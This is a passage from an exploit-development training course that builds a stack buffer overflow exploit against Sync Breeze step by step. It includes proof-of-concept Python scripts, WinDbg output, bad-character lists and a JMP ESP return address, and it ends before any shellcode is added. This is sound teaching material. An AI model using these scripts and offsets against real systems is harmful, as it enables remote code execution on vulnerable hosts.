Once our debugger is attached, we’ll issue the g command to allow the application to continue.
We can then run our script from the Kali machine.
kali@kali:~$ python stack_overflow_0x01.py 192.168.120.10
Sending evil buffer...
Done!
Listing 53 - Running the initial proof of concept

When we execute our script, the application crashes as expected with an access violation. We
can examine the EIP register in WinDbg and observe that it is overwritten by four 0x41 bytes,
which are part of our username string, the 800-byte “A” buffer.
(ae8.104): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00263a54 edx=00000358 esi=0025bf86 edi=00a47420
eip=41414141 esp=0176745c ebp=0025c6b8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
41414141 ?? ???
Listing 54 - Inspecting the initial crash in WinDbg

This is a good first step. We confirmed that sending an 800 byte username will crash the
application. In the next sections we’ll escalate from a crash to remote code execution.

3.3.1.1 Exercise
1. Write a standalone script to replicate the crash.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 63
Windows User Mode Exploit Development

3.4 Win32 Buffer Overflow Exploitation


Developing a full working exploit from an application crash and successfully obtaining a remote
shell is very exciting. As mentioned before, the first goal is to gain control of the EIP register as
this will allow us to control the execution flow of the target application. Next, we’ll have to find a
way to inject some malicious code like a reverse shell in the target process memory space and
redirect the execution to it.

3.4.1 A Word About DEP, ASLR, and CFG


We need to understand the protective mechanisms that make control of the EIP pointer more
difficult to obtain or exploit. While the Sync Breeze software was compiled without any of these
security mechanisms, we will be facing some of them in later modules.
Microsoft implements Data Execution Prevention (DEP),65 Address Space Layout Randomization
(ASLR),66 and Control Flow Guard (CFG).67
DEP is a set of hardware and software technologies that perform additional memory checks to
help prevent malicious code from running on a system. DEP helps prevent code execution from
data pages68 by raising an exception when attempts are made to do so.
ASLR randomizes the base addresses of loaded applications and DLLs every time the operating
system is booted. On older Windows operating systems, like Windows XP where ASLR is not
implemented, all DLLs are loaded at the same memory address every time, which makes
exploitation easier. When coupled with DEP, ASLR provides a very strong mitigation against
exploitation.
Finally, CFG is Microsoft’s implementation of control-flow integrity. This mechanism performs
validation of indirect code branching such as a call instruction that uses a register as an operand
rather than a memory address such as CALL EAX. The purpose of this mitigation is to prevent the
overwrite of function pointers in exploits.
As previously mentioned, Sync Breeze was compiled without any of these security mechanisms,
making the exploitation process much easier. This provides a great opportunity for us to start
learning the exploitation process without having to worry about various mitigations.

3.4.2 Controlling EIP


Gaining control of the EIP register is a crucial step while exploiting memory corruption
vulnerabilities. We can use the EIP register to control the direction or flow of the application.
However, right now we only know that a section of our buffer of A’s overwrote the EIP.
Before we can load a valid destination address into the EIP and control the execution flow, we
need to know which part of our buffer is landing in EIP.

65
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/memory/data-execution-prevention
66
(Michael Howard, 2006), https://blogs.msdn.microsoft.com/michael_howard/2006/05/26/address-space-layout-randomization-in-
windows-vista/
67
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/secbp/control-flow-guard
68
(Wikipedia, 2019), https://en.wikipedia.org/wiki/Page_(computer_memory)

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 64
Windows User Mode Exploit Development

There are two common ways to find this information. First, we might attempt a binary tree
analysis. To do this, instead of 800 A’s, we’ll send 400 A’s and 400 B’s. If EIP is overwritten by B’s,
we know the four bytes are in the second half of the buffer. We can then change the 400 B’s to
200 B’s and 200 C’s, and send the buffer again. We can continue splitting the specific buffer until
we reach the exact four bytes that overwrite EIP.
The second, faster way to identify the location of these four bytes starts with inserting a long
string made of non-repeating 4-byte chunks as our input. Then, when the EIP is overwritten with
four bytes from our string, we can use that unique sequence to pinpoint the exact location. Let’s
try this technique to get a better understanding of it.
To generate a non-repeating string, we’ll use a script from the Metasploit Framework69 called
pattern_create.rb.

As described by its authors, the Metasploit Framework, maintained by Rapid7,70 is “an advanced
platform for developing, testing, and using exploit code”.

The Metasploit project initially started off as a portable network game71 and has
evolved into a powerful tool for penetration testing, exploit development, and
vulnerability research. The Framework has slowly but surely become the leading
free exploit collection and development framework for security auditors.
Metasploit is frequently updated with new exploits and is constantly being
improved and further developed by Rapid7 and the security community.

The pattern_create.rb script is located in /usr/share/metasploit-framework/tools/exploit/, but we


can run it from any location in Kali with msf-pattern_create as shown below:
kali@kali:~$ locate pattern_create
/usr/bin/msf-pattern_create
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb

kali@kali:~$ msf-pattern_create -h
Usage: msf-pattern_create [options]
Example: msf-pattern_create -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf

Options:
-l, --length <length> The length of the pattern
-s, --sets <ABC,def,123> Custom Pattern Sets
-h, --help Show this message
Listing 55 - Location and help usage for msf-pattern_create

To set the length of the string we want to create, we’ll pass the -l parameter and the length (800):

69
(The Metasploit Framework), https://www.metasploit.com/
70
(Rapid7), https://www.rapid7.com/
71
(ThreatPost, 2010), https://threatpost.com/qa-hd-moore-metasploit-disclosure-and-ethics-052010/73998/

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 65
Windows User Mode Exploit Development

kali@kali:~$ msf-pattern_create -l 800


Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac
8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6A
f7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5
Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak
...
Listing 56 - Creating a unique string

This generates our string; next, we’ll update our Python script by replacing the existing buffer with
our new string:
#!/usr/bin/python
import socket
import sys

try:
server = sys.argv[1]
port = 80
size = 800
#inputBuffer = "A" * size
inputBuffer =
b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7
Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af
6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4A
i5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3
Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao
2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0A
r1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9
Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw
8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6A
z7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
content = b"username=" + inputBuffer + b"&password=A"
...
Listing 57 - stack_overflow_0x02.py: Overwriting EIP with a unique string

When we restart Sync Breeze and run our exploit again, we’ll notice that EIP contains a new string,
shown below in Listing 58:
(1600.174): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00653b14 edx=00000358 esi=0064c006 edi=00a27420
eip=42306142 esp=0032745c ebp=0064c6b8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
42306142 ?? ???
Listing 58 - Obtaining the EIP overwrote value in WinDbg

The EIP register has been overwritten with 42306142 (hexadecimal value of “B0aB”). Knowing
this, we can use pattern_offset.rb (the companion to pattern_create.rb), to determine the offset of
these four bytes in our string. In Kali, this script can also be run from any location with msf-
pattern_offset.

To find the offset where the EIP overwrite happens, we can use -l to specify the length of our
original string and -q to specify the bytes in the EIP (42306142):

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 66
Windows User Mode Exploit Development

kali@kali:~$ msf-pattern_offset -l 800 -q 42306142


[*] Exact match at offset 780
Listing 59 - Finding the offset

The msf-pattern_offset script reports that these four bytes are located at offset 780 of the 800-
byte pattern. Let’s update our proof of concept with this new information. We can send 780 “A”
characters, 4 “B” characters and 16 “C” characters. Our goal is to have four B’s (0x42424242) land
precisely in the EIP register:
#!/usr/bin/python
import socket
import sys

try:
server = sys.argv[1]
port = 80
size = 800

filler = b"A" * 780


eip = b"B" * 4
buf = b"C" * 16
inputBuffer = filler + eip + buf
content = b"username=" + inputBuffer + b"&password=A"
...
Listing 60 - stack_overflow_0x03.py: Controlling the EIP overwrite

When the web server crashes this time, the resulting buffer is perfectly structured. The EIP now
contains our four B’s (0x42424242) as shown in Listing 61:
(558.104): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=001f2e44 edx=00000358 esi=001ec1c6 edi=00a87420
eip=42424242 esp=0056745c ebp=001ec6b8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
42424242 ?? ???
Listing 61 - EIP is overwritten with the expected value

We now have complete control over the EIP register and therefore control over the execution flow
of Sync Breeze! However, to reach our objective, we need to replace our 0x42424242 placeholder
and redirect the application flow to a valid address pointing to the code we want to execute.

3.4.2.1 Exercises
1. Determine the offset within the input buffer to successfully control EIP.
2. Update your standalone script, placing a unique value into EIP to ensure your offset is
correct.

3.4.3 Locating Space for Our Shellcode


At this point, we know that we can place any address in EIP, but we do not know what address to
use. Before we choose an address, we need to understand where we can redirect the execution
flow. First, let’s focus on the executable code we want the target to execute, and more
importantly, understand where this code fits in memory.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 67
Windows User Mode Exploit Development

Ideally, our goal is to execute code of our choice on the target. We can achieve this using a
reverse shell or any shellcode we want; but we need to include the shellcode as part of the input
buffer that triggers the crash in order to inject it into the target process memory space.

Shellcode is a collection of assembly instructions that, when executed, perform


the desired action of the attacker. This typically involves opening a reverse or
bind shell, but may also include more complex actions.

We will use the Metasploit Framework to generate our shellcode payload. Looking back at the
registers from our last crash in Listing 62, we notice that the ESP register points to our buffer of
C’s.

0:001> r
eax=00000001 ebx=00000000 ecx=001f2e44 edx=00000358 esi=001ec1c6 edi=00a87420
eip=42424242 esp=0056745c ebp=001ec6b8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
42424242 ?? ???

0:001> dds esp L3


0056745c 43434343
00567460 43434343
00567464 43434343
Listing 62 - Inspecting the stack pointer at the time of the crash

Since we can easily access this location at crash time through the address stored in ESP, this
seems like a convenient location for our shellcode.
Closer inspection of the stack at crash time (Listing 62) reveals that the first four C’s from our
buffer landed at address 0x00567458. The current ESP value is 0x0056745c, which points to the
next four C’s from our buffer:
0:001> r
eax=00000001 ebx=00000000 ecx=001f2e44 edx=00000358 esi=001ec1c6 edi=00a87420
eip=42424242 esp=0056745c ebp=001ec6b8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
42424242 ?? ???

0:001> dds esp -10 L8


0056744c 41414141
00567450 41414141
00567454 42424242
00567458 43434343
0056745c 43434343
00567460 43434343
00567464 43434343
00567468 00a7ba00
Listing 63 - Further inspection of the stack pointer at the time of the crash

A standard reverse shell payload requires approximately 350-400 bytes of space. The listing
above clearly shows that there are only 16 C’s in the buffer, which isn’t nearly enough space for
our shellcode. We can try to get around this problem by increasing the buffer length in our exploit

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 68
Windows User Mode Exploit Development

from 800 bytes to 1500 bytes, then checking to ensure this allows enough space for our
shellcode without breaking the buffer overflow condition or changing the nature of the crash.

Depending on the application and the type of vulnerability, there may be


restrictions on the length of our input. In some cases, increasing the length of a
buffer may result in a completely different crash since the larger buffer
overwrites additional data on the stack that is used by the target application.

For this update, we will add “D” characters as a placeholder for our shellcode:
#!/usr/bin/python
import socket
import sys

try:
server = sys.argv[1]
port = 80
size = 800

filler = b"A" * 780


eip = b"B" * 4
offset = b"C" * 4
shellcode = b"D" * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + shellcode
content = b"username=" + inputBuffer + b"&password=A"
...
Listing 64 - stack_overflow_0x04.py: Increasing the buffer size

Running this proof of concept, we’ll observe a similar crash in the debugger. This time however,
the ESP is pointing to the “D” characters (0x44 in hexadecimal) acting as a placeholder for our
shellcode, as shown in Listing 65:
(a78.a24): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=0022121c edx=00000358 esi=0021c106 edi=00ad7420
eip=42424242 esp=0056745c ebp=0021c6b8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
42424242 ?? ???

0:001> dds esp - 8 L7


00567454 42424242
00567458 43434343
0056745c 44444444
00567460 44444444
00567464 44444444
00567468 44444444
0056746c 44444444
Listing 65 - ESP points to a different address value

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 69
Windows User Mode Exploit Development

This handy trick has provided us with significantly more space to work with - specifically, 712
bytes of free space for our shellcode.
0:001> dds esp L4
0056745c 44444444
00567460 44444444
00567464 44444444
00567468 44444444
0:001> dds esp+2c0 L4
0056771c 44444444
00567720 44444444
00567724 00000000
00567728 00000000
0:001> ? 00567724 - 0056745c
Evaluate expression: 712 = 000002c48
Listing 66 - Calculating the available shellcode space

It is important to note that the address of ESP changes every time we run the exploit, but still
points to our buffer. We’ll address this in a following section, but first we have another hurdle to
overcome.

3.4.3.1 Exercises
1. Update your standalone script and increase the size of your buffer to fit a reverse shell
payload.
2. Run the updated script and ensure that the instruction pointer is still under your control.

3.4.4 Checking for Bad Characters


Depending on the application, vulnerability type, and protocols in use, there may be certain
characters that are considered “bad” and should not be used in our buffer, return address, or
shellcode. A character is considered bad if using it prevents or changes the nature of our crash.
Some characters can also be considered bad because they end up mangled in memory. One
example of a common bad character is the null byte (0x00).

The null byte is considered a bad character because it is used to terminate a


string in low-level languages such as C/C++. This causes the string copy
operation to end, effectively truncating our buffer at the first instance of a null
byte.

Because we are sending the exploit as part of an HTTP POST request, we should also avoid the
return character 0x0D, which signifies the end of an HTTP field (the username in this case).
We should always check for bad characters during the exploit development process. One way to
determine which characters are bad for a particular exploit is to send all possible characters -
from 0x00 to 0xFF - as part of our buffer, and observe how the application reacts to these
characters after the crash.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 70
Windows User Mode Exploit Development

We can repurpose our proof of concept to do this by replacing our D’s with all possible hex
characters except 0x00 (Listing 67):
#!/usr/bin/python
import socket
import sys

try:
server = sys.argv[1]
port = 80
size = 800

filler = b"A" * 780


eip = b"B" * 4
offset = b"C" * 4
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
#shellcode = "D" * (1500 - len(filler) - len(eip) - len(offset))
inputBuffer = filler + eip + offset + badchars
...
Listing 67 - stack_overflow_0x05.py: Sending all possible hex characters

Now let’s execute our proof of concept. When the application crashes, we can use the db
command to dump the bytes from the ESP register and verify if any characters have been
mangled or truncated our buffer (Listing 68):
0:008> db esp - 10 L20
0149744c 41 41 41 41 41 41 41 41-42 42 42 42 43 43 43 43 AAAAAAAABBBBCCCC
0149745c 01 02 03 04 05 06 07 08-09 00 a6 00 60 bd a6 00 ............`...
Listing 68 - Verifying the hex characters in memory

From the output above, we’ll observe that the hex values 0x01 through 0x09 made it into the
stack memory buffer. There is no sign, however, of the next character, 0x0A, which should be at
address 0x01497465.
This is not surprising because the 0x0A character translates to a line feed, which terminates an
HTTP field, similar to a carriage return.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 71
Windows User Mode Exploit Development

Let’s remove the 0x0A character from our test script and resend the payload. The resulting buffer
terminates after the hex value 0x0C this time (Listing 69), indicating that the return character
0x0D is also a bad character as we’ve already discussed:
0:008> db esp - 10 L20
014a744c 41 41 41 41 41 41 41 41-42 42 42 42 43 43 43 43 AAAAAAAABBBBCCCC
014a745c 01 02 03 04 05 06 07 08-09 0b 0c 00 68 bb a7 00 ............h...
Listing 69 - Truncated buffer by the return character

Let’s repeat these steps until we have verified every character. Through this process, we’ll
discover that 0x00, 0x0A, 0x0D, 0x25, 0x26, 0x2B, and 0x3D will mangle our input buffer while
attempting to overflow the destination buffer. Now we know which characters we need to avoid.

3.4.4.1 Exercises
1. Repeat the process to identify the bad characters.
2. Why are these characters not allowed? How do these bad hex characters translate to ASCII?

3.4.5 Redirecting the Execution Flow


At this point, we have control of the EIP register and plenty of space for our shellcode that is
easily accessible through the ESP register. We also know which characters are safe, and which
are not. Our next task is to find a way to redirect the execution flow to the shellcode located at the
memory address the ESP register is pointing to at the time of the crash.
The most intuitive approach might be trying to replace the B’s that overwrite EIP with the address
that pops up in the ESP register at the time of the crash. However, as we mentioned earlier, the
value of ESP changes from crash to crash. Stack addresses change often, especially in threaded
applications such as Sync Breeze, because each thread has a reserved stack region in memory
allocated by the operating system.
Therefore, hard-coding a specific stack address would not be a reliable way of reaching our
buffer.

3.4.6 Finding a Return Address


We can still store our shellcode at the address pointed to by ESP, but we need a consistent way to
execute that code. One solution is to leverage a JMP ESP instruction, which as the name
suggests, “jumps” to the address pointed by ESP when it executes. If we can find a reliable static
address that contains this instruction, we can redirect EIP to this address. Then, at the time of the
crash, the JMP ESP instruction will be executed and this “indirect jump” will direct the execution
flow into our shellcode.
Many support libraries in Windows contain this commonly-used instruction, but we need to find a
reference that meets two important criteria. First, the address used in the library must be static,
which eliminates the libraries compiled with ASLR support. Second, the address of the instruction
must not contain any of the bad characters that would break the exploit, since the address will be
part of our input buffer.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 72
Windows User Mode Exploit Development

To determine the protections of a particular module, we can check the DllCharacteristics member
of the IMAGE_OPTIONAL_HEADER72 structure, which is part of the IMAGE_NT_HEADERS73
structure. The latter can be found in the PE header74 of the target module.
The Portable Executable (PE) format starts with the MS DOS header,75 which contains an offset to
the start of the PE header at offset 0x3C.
Let’s try to find the protections of the syncbrs.exe executable using the above information.
We’ll start by getting the base address of the module inside WinDbg. We can use the List Loaded
Module command (lm) and search for the pattern “syncbrs”. Then we use the dt command with
the base address to dump the IMAGE_DOS_HEADER76 as shown in the Listing 70:
0:008> lm m syncbrs
Browse full module list
start end module name
00400000 00462000 syncbrs (deferred)

0:008> dt ntdll!_IMAGE_DOS_HEADER 0x00400000


+0x000 e_magic : 0x5a4d
+0x002 e_cblp : 0x90
+0x004 e_cp : 3
+0x006 e_crlc : 0
+0x008 e_cparhdr : 4
+0x00a e_minalloc : 0
+0x00c e_maxalloc : 0xffff
+0x00e e_ss : 0
+0x010 e_sp : 0xb8
+0x012 e_csum : 0
+0x014 e_ip : 0
+0x016 e_cs : 0
+0x018 e_lfarlc : 0x40
+0x01a e_ovno : 0
+0x01c e_res : [4] 0
+0x024 e_oemid : 0
+0x026 e_oeminfo : 0
+0x028 e_res2 : [10] 0
+0x03c e_lfanew : 0n232

0:008> ? 0n232
Evaluate expression: 232 = 000000e8
Listing 70 - Dumping the IMAGE_DOS_HEADER structure to obtain the offset to the PE header

72
(IMAGE_OPTIONAL_HEADER32 structure, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-
image_optional_header32?redirectedfrom=MSDN
73
(IMAGE_NT_HEADERS32 structure, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-
image_nt_headers32
74
(PE Format, 2019), https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#dll-characteristics
75
(PE-Portable-executable, 2017), https://www.aldeid.com/wiki/PE-Portable-executable
76
(IMAGE_DOS_HEADER structure), https://www.nirsoft.net/kernel_struct/vista/IMAGE_DOS_HEADER.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 73
Windows User Mode Exploit Development

Reviewing the output from Listing 70, we notice that at offset 0x3C, the e_lfanew field contains
the offset to our PE header (0xE8) from the base address of syncbrs.exe. Now, let’s dump the
IMAGE_NT_HEADERS structure at this address:
0:008> dt ntdll!_IMAGE_NT_HEADERS 0x00400000+0xe8
+0x000 Signature : 0x4550
+0x004 FileHeader : _IMAGE_FILE_HEADER
+0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER
Listing 71 - Dumping the IMAGE_NT_HEADERS structure

Finally, at offset 0x18 we have the IMAGE_OPTIONAL_HEADER structure we need that contains
the DllCharacteristics field.
0:008> dt ntdll!_IMAGE_OPTIONAL_HEADER 0x00400000+0xe8+0x18
+0x000 Magic : 0x10b
+0x002 MajorLinkerVersion : 0x6 ''
+0x003 MinorLinkerVersion : 0 ''
+0x004 SizeOfCode : 0x32000
+0x008 SizeOfInitializedData : 0x2f000
+0x00c SizeOfUninitializedData : 0
+0x010 AddressOfEntryPoint : 0x30484
+0x014 BaseOfCode : 0x1000
+0x018 BaseOfData : 0x33000
+0x01c ImageBase : 0x400000
+0x020 SectionAlignment : 0x1000
+0x024 FileAlignment : 0x1000
+0x028 MajorOperatingSystemVersion : 4
+0x02a MinorOperatingSystemVersion : 0
+0x02c MajorImageVersion : 0
+0x02e MinorImageVersion : 0
+0x030 MajorSubsystemVersion : 4
+0x032 MinorSubsystemVersion : 0
+0x034 Win32VersionValue : 0
+0x038 SizeOfImage : 0x62000
+0x03c SizeOfHeaders : 0x1000
+0x040 CheckSum : 0
+0x044 Subsystem : 3
+0x046 DllCharacteristics : 0
+0x048 SizeOfStackReserve : 0x100000
+0x04c SizeOfStackCommit : 0x1000
+0x050 SizeOfHeapReserve : 0x100000
+0x054 SizeOfHeapCommit : 0x1000
+0x058 LoaderFlags : 0
+0x05c NumberOfRvaAndSizes : 0x10
+0x060 DataDirectory : [16] _IMAGE_DATA_DIRECTORY
Listing 72 - Dumping the IMAGE_OPTIONAL_HEADER structure

Now we can read the current value of DllCharacteristics and find that it is 0x00. This means that
the syncbrs.exe executable does not have any protections enabled such as SafeSEH77 (Structured
Exception Handler Overwrite), an exploit-preventative memory protection technique, ASLR, or
NXCompat (DEP protection).

77
(Microsoft, 2016), https://docs.microsoft.com/en-us/cpp/build/reference/safeseh-image-has-safe-exception-handlers?view=msvc-
160

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 74
Windows User Mode Exploit Development

In other words, the executable has not been compiled with any memory protection schemes, and
will always reliably load at the same address, making it ideal for our purposes.
Unfortunately, the structure above also shows the ImageBase member being set to 0x400000,
meaning that the preferred load address for syncbrs.exe is 0x00400000. This indicates that all
instructions’ addresses (0x004XXXXX) will contain at least one null character, making this module
unsuitable for our input buffer.
Now we understand how to do this manually; but it is time consuming and tedious. Fortunately,
there are automated tools that can speed up this process. For this module, we will use Process
Hacker.78 This is an option-rich tool that detects mitigations that have been around for a long
time, such as DEP and ASLR, in addition to more modern mitigations such as ACG79 and CFG.
We can launch Process Hacker from C:\Tools\processhacker-2.39-bin\x86\ProcessHacker.exe
as an administrator. Next, we’ll locate the syncbrs.exe executable as shown in Figure 19:

Figure 19: Locating the syncbrs.exe executable in Process Hacker

78
(Process Hacker), https://processhacker.sourceforge.io/
79
(Microsoft, 2017), https://blogs.windows.com/msedgedev/2017/02/23/mitigating-arbitrary-native-code-execution/

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 75
Windows User Mode Exploit Development

When we double click the syncbrs.exe executable, it opens the properties window. Under the
General tab, we’ll find the Mitigation Policies field, which is currently set to “None”. Clicking on
Details also shows no mitigations in place, confirming what we found out manually within the
debugger.

Figure 20: Inspecting the Mitigations of the Sync Breeze Service using Process Hacker

Browsing to the Module tab provides us with all the DLLs that are loaded in the process memory.
To inspect the DllCharacteristics, we can double click on a module and open the properties
window illustrated in Figure 21.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 76
Windows User Mode Exploit Development

Figure 21: Inspecting ntdll.dll protections within the syncbrs.exe memory space

Now that we know how to determine various mitigations of an executable or DLL, let’s try to find a
suitable module to use in our exploit.
Searching through all the modules, we discover that LIBSSP.DLL suits our needs and the address
range doesn’t seem to contain bad characters. This is perfect. Now we need to find the address
of a naturally-occurring JMP ESP instruction within this module.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 77
Windows User Mode Exploit Development

Figure 22: Inspecting the LIBSSP.DLL using Process Hacker

Advanced tip: If this application was compiled with DEP support, our JMP ESP
address would need to be located in the .text code segment of the module. This
is the only segment with both read (R) and executable (E) permissions. Since
DEP is not enabled in this case, we can use instructions from any address in this
module.

To find the opcode equivalent of JMP ESP, we’ll use the Metasploit NASM Shell ruby script msf-
nasm_shell, which produces the results shown in Listing 73:

kali@kali:~$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp
Listing 73 - Finding the opcode of JMP ESP

We can search for a JMP ESP instruction using the opcodes from Listing 73 (0xFF 0xE4) in all
sections of LIBSSP.DLL using WinDbg’s search (s) command.
Let’s enter s and specify what memory format we are looking for; in our case, we’ll search for
bytes using the -b argument. This is followed by the start and end of the memory range we are
going to search through. In our case, we want to search the target LIBSSP.DLL module memory
range; we can use the lm command to gather this information. Finally, the last parameter will be
the sequence of bytes we are looking for, separated by whitespace.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 78
Windows User Mode Exploit Development

The output of the final command, s -b 10000000 10223000 0xff 0xe4, is shown in Listing 74:

0:007> lm m libspp
Browse full module list
start end module name
10000000 10223000 libspp C (export symbols) C:\Program Files\Sync Breeze
Enterprise\bin\libspp.dll

0:007> s -b 10000000 10223000 0xff 0xe4


10090c83 ff e4 0b 09 10 02 0c 09-10 24 0c 09 10 46 0c 09 .........$...F..
Listing 74 - Finding the JMP ESP instruction

In this example, the output reveals one address containing a JMP ESP instruction (0x10090c83),
which fortunately does not contain any of our bad characters.
Let’s verify our finding by inspecting the instructions at address 0x10090c83 in WinDbg. We can
do this using the unassemble (u) command, followed by the memory address of our JMP ESP
instruction:
0:007> u 10090c83
libspp!SCA_FileScout::GetStatusValue+0xb3:
10090c83 ffe4 jmp esp
10090c85 0b09 or ecx,dword ptr [ecx]
10090c87 1002 adc byte ptr [edx],al
10090c89 0c09 or al,9
10090c8b 10240c adc byte ptr [esp+ecx],ah
